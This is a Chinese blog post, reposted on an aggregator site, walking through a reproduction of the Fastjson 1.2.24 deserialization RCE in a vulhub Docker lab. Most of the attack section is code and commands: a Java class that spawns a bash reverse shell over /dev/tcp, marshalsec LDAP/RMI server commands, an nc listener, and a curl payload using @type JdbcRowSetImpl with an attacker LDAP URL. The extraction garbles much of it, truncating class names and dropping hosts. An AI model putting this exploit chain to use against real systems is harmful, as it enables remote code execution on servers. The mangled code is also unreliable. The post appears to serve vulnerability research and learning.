Fastjson反序列化命令执行漏洞复现

Fastjson反序列化命令执行漏洞复现

2023年6月25日发(作者:)

Fastjson反序列化命令执⾏漏洞复现基础了解Fastjson在解析json的过程中,⽀持使⽤autoType来实例化某⼀个具体的类,并调⽤该类的set/get⽅法来访问属性。通过查找代码中相关的⽅法,即可构造出⼀些恶意利⽤链。反序列化常⽤的两种利⽤⽅式,⼀种是基于rmi,⼀种是基于ldap。RMI是⼀种⾏为,指的是Java远程⽅法调⽤。JNDI是⼀个接⼝,在这个接⼝下会有多种⽬录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。ldap指轻量级⽬录访问协议。具体详情请参考:基于Java反序列化RCE - 搞懂RMI、JRMP、JNDIfastjson反序列漏洞利⽤过程存在java版本限制:基于rmi的利⽤⽅式:适⽤jdk版本:JDK 6u141, JDK 7u131, JDK 8u121之前。在jdk8u122的时候,加⼊了反序列化⽩名单的机制,关闭了rmi远程加载代码。基于ldap的利⽤⽅式:适⽤jdk版本:JDK 11.0.1、8u182、7u191、6u201之前。在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。可以看到ldap的利⽤范围是⽐rmi要⼤的,实战情况下推荐使⽤ldap⽅法进⾏利⽤。这⾥给出雷震众测的⼀张图:环境介绍:主机A:attacker()jdk版本:8u151主机B:模拟Fastjson漏洞环境(kali)fastjson版本:1.2.24这⾥我直接使⽤vulhub的漏洞环境,Kali⾃带就有docker,⽤docker-compose搭建⼀个写好的fastjson 1.2.24的环境。启动fastjson环境:# 启动docker服务service docker start# 查看已安装的镜像,获取fastjson的iddocker ps -a# 正式启动docker start id⽤curl命令发送json数据看看环境搭是否运⾏curl 127.0.0.1:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'利⽤过程环境搭好就需要准备开始复现了,⾸先是写⼀个java⽂件编译为class⽂件,⽤于之后执⾏命令,这⾥准备了两个⽂件⼀个确定漏洞存在的命令(test)和⼀个反弹shell的(Exploit),写好后编译为class⽂件将以下代码保存为(可以根据操作系统类型更改⾃⼰想要执⾏的命令)import edReader;import tream;import treamReader;public class Exploit{ public Exploit() throws Exception { //Process p = time().exec(new String[]{"cmd","/c",""}); Process p = time().exec(new String[]{"/bin/bash","-c","exec 5<>/dev//8000;cat <&5 | while read line; do $line 2>&5 >&5; done"}); InputStream is = utStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = ne()) != null) { n(line); } r(); (); (); y(); } public static void main(String[] args) throws Exception { }}使⽤javac命令编译⽂件,⽣成⼀个⽂件javac 把⽣成的⽂件,放到公⽹vps的web⽬录下,可以通过互联⽹的http服务访问到在该⽬录使⽤ python 开启⼀个web服务python -m SimpleHttpServer 80访问提⽰可以下载即可mvn clean package -DskipTests打包成功后把⽣成的上传到通过marshalsec启动⼀个RMI/LDAP服务监听的端⼝是8080通过使⽤RMI或者LDAP的服务,将reference result 重定向到web服务器(即⽂件的存放位置)java -cp Server ":80/#Exploit" 8080java -cp fServer ":80/#Exploit" 8080实验环境的jdk版本为8u151,⼤于8u121⼩于8u191,理论上rmi⽆法使⽤,ldap可以使⽤。3.主机A监听8000端⼝:nc -lvp 80003.发送json数据类型的payload在Kali上输⼊运⾏以下命令curl 127.0.0.1:8090/ -H "Content-Type: application/json" --data '{"b":{"@type":"wSetImpl","dataSourceName":"ldap://:8080/Exploit"或者⽤浏览器发包:{ "b": { "@type": "wSetImpl",

"dataSourceName": "ldap://:8080/Exploit",

"autoCommit": true }}注意:这⾥是最初版本的RCE没有加⼊checkAutoType()函数校验,它的主要作⽤是检测@type指定的类是否在⽩名单、⿊名单。后⾯的许多漏洞都是对checkAutotype以及本⾝某些逻辑缺陷导致的漏洞进⾏修复,以及⿊名单的不断增加。1.2.24版本之前autoTypeSupport属性为true才能使⽤。(fastjson>=1.2.25默认为false)复现结果ldap服务接受到了请求,在这⾥可以看到docker环境加载了我们vps服务器上的⽂件成功返回数据包到vps的web服务上Vps上的nc接收到反弹的shelljdk版本限制绕过:参考:Fastjson反序列化漏洞利⽤后续计划:收集不同版本的探测payload,rce payload,争取都复现⼀遍参考如下Fastjson1.2.24反序列化命令执⾏漏洞fastjson1.2.47反序列化漏洞复现Fastjson反序列化漏洞利⽤

发布者:admin,转转请注明出处:http://www.yc00.com/web/1687693387a32242.html

相关推荐

发表回复

评论列表(0条)

  • 暂无评论

联系我们

400-800-8888

在线咨询: QQ交谈

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息

关注微信